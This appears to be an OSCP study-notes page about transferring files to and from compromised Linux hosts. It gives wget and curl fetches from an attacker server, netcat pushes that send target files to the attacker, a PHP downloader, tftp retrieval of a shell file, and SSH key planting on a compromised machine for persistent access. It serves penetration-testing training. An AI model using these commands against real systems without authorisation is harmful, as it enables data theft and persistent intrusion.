OSCP
Search…
Transfer files on linux

Set Up a Simple Python Webserver

For the examples using curl and wget we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.
1
python -m SimpleHTTPServer 9999
Copied!

Wget

You can download files using wget like this:
1
wget ip:9999/file.txt
Copied!

Curl

1
curl -O http://ip/file.txt
Copied!

Netcat

Another easy way to transfer files is by using netcat.
If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c because that will kill your session.
So instead you can connect from the target machine like this.
On attacking machine:
1
nc -lvp 4444 < file
Copied!
On target machine:
1
nc ip 4444 > file
Copied!
You can of course also do it the risky way, the other way around:
So on the victim-machine we run nc like this:
1
nc -lvp 3333 > enum.sh
Copied!
And on the attacking machine we send the file like this:
1
nc ip < enum.sh
Copied!
I have sometimes received this error:
1
This is nc from the netcat-openbsd package. An alternative nc is available
Copied!
I have just run this command instead:
1
nc -l 1234 > file.sh
Copied!

With php

1
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
Copied!

Ftp

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

Tftp

On some rare machine we do not have access to nc and wget, or curl. But we might have access to tftp. Some versions of tftp are run interactively, like this:
1
$ tftp ip
2
tftp> get myfile.txt
Copied!
If we can't run it interactively, for whatever reason, we can do this trick:
1
tftp ip <<< "get shell5555.php shell5555.php"
Copied!

SSH - SCP

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.
So, in the /home/user directory you can find the hidden .ssh files by typing ls -la. Then you need to do two things.
  1. 1.
    Create a new keypair
You do that with:
1
ssh-keygen -t rsa -C "[email protected]"
Copied!
then you enter a name for the key.
Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey Enter passphrase (empty for no passphrase): Enter same passphrase again:
This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.
  1. 1.
    Add your public key to authorized_keys.
Now you copy the content of nameOfMyKey_pub. On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this
1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keys
Copied!
  1. 1.
    Log in.
Now you should be all set to log in using your private key. Like this
1
ssh -i nameOfMyKey [email protected]
Copied!

SCP

Now we can copy files to a machine using scp
1
# Copy a file:
2
scp /path/to/source/file.ext [email protected]:/path/to/destination/file.ext
3
4
# Copy a directory:
5
scp -r /path/to/source/dir [email protected]:/path/to/destination
Copied!
1
Python SimpleHTTPServer
2
3
#on Attacker
4
python -m SimpleHTTPServer
5
6
#on target
7
wget <attackerip>:8000/filename
8
9
10
------------------------------
11
12
Apache
13
14
#on Attacker
15
cp filetosend.txt /var/www/html
16
service apache2 start
17
18
#on target
19
wget http://attackerip/file
20
curl http://attackerip/file > file
21
fetch http://attackerip/file # on BSD
22
23
----------------------------------
24
25
Netcat (From Target to Kali)
26
27
# Listen on Kali
28
nc -lvp 4444 > file
29
30
# Send from Target machine
31
nc <kali_ip> 4444 < file
32
33
-----------------
34
35
36
Netcat (From Kali to Target)
37
38
# on target, wait for the file
39
nc -nvlp 55555 > file
40
41
# on kali, push the file
42
nc $victimip 55555 < file
43
44
45
----------------------
46
47
Extra:
48
To send the executable file to your machine:
49
50
base64 executable
51
# copy the output
52
# paste it in a file called file.txt
53
# decode it and create the executable
54
base64 -d file.txt > executable
55
56
57
Copied!
Last modified 1yr ago